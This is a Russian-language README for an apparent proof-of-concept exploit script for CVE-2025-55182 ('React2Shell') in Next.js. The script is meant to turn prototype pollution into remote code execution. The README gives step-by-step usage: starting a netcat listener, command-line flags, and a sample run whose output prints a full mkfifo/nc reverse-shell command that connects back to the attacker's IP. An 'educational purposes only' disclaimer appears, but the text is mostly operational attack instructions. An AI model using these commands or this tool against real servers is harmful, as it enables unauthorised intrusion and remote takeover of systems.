
Это простой в использовании PoC-скрипт для эксплуатации уязвимости React2Shell-CVE-2025-55182 в Nextjs. Он поможет получить reverse shell.
Этот репозиторий содержит эксплойт-скрипт для уязвимости React2Shell (CVE-2025–55182), которая затрагивает особый тип Node.js Prototype Pollution, приводящий к удалённому выполнению кода (RCE).
Скрипт специально предназначен для установления подключения обратной оболочки Netcat путём внедрения вредоносной полезной нагрузки в уязвимое приложение.
Этот инструмент предназначен только для образовательных и исследовательских целей.
requestsВы можете установить требуемую зависимость Python с помощью pip:
pip install requests
Скрипт — это специализированный инструмент для получения обратной оболочки (reverse shell), который требует 3 основных параметра: URL цели (-u), ваш локальный IP-адрес (-l) и порт прослушивания (-p).
Перед запуском эксплойта необходимо настроить прослушиватель Netcat на вашей локальной машине, чтобы перехватить входящее подключение обратной оболочки.
# Start Netcat listener on port 9001 (or your custom port)
nc -lvnp 9001
Выполните скрипт, указав необходимые аргументы. Если вы опустите порт (-p), будет использовано значение по умолчанию — 9001.
| Флаг | Аргумент | Описание | Пример |
|---|---|---|---|
-u | --url | (ОБЯЗАТЕЛЬНО) Полный URL уязвимой цели. | http://192.168.1.100:3000 |
-l | --local-ip | (ОБЯЗАТЕЛЬНО) IP-адрес вашего атакующего/прослушивающего хоста. | 192.168.1.5 |
-p | --port | Порт, на котором запущен ваш прослушиватель. | 4444 |
Чтобы атаковать http://192.168.1.100:3000/ и подключиться обратно к вашему прослушивателю на 192.168.1.5:4444:
python react2shell.py -u http://192.168.1.100:3000 -l 192.168.1.5 -p 4444
Эксплойт использует функцию execSync на целевой системе, которая обычно блокирует процесс сервера. Поэтому ReadTimeout является ожидаемым признаком успешного выполнения команды.
### 🔥 React2Shell - (CVE-2025–55182)
### By Hasa
[*] Target URL (-u): [http://192.168.1.100:3000/](http://192.168.1.100:3000/)
[*] Local IP (-l): 192.168.1.5
[*] Port (-p): 4444
[*] Command: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.5 4444 >/tmp/f
[*] Sending payload...
[+] [+] Attack may be Successful! Check your Netcat Listner.
В случае успеха вы увидите подключение оболочки на вашем прослушивателе Netcat.
Запуск скрипта без аргументов отображает баннер и обязательные инструкции по использованию:
python react2shell.py
Вывод:
### 🔥 React2Shell - (CVE-2025–55182)
### By Hasa
usage: react2shell.py [-h] -u URL -l LOCAL_IP [-p PORT]
Educational Purposes Only!!!
options:
-h, --help show this help message and exit
-u URL, --url URL (REQUIRED) The target URL (Ex: "[http://example.com:3000](http://example.com:3000)")
-l LOCAL_IP, --local-ip LOCAL_IP
(REQUIRED) Listner or Attacker IP (Ex: "192.168.100.1")
-p PORT, --port PORT Listner Port (Default: 9001)
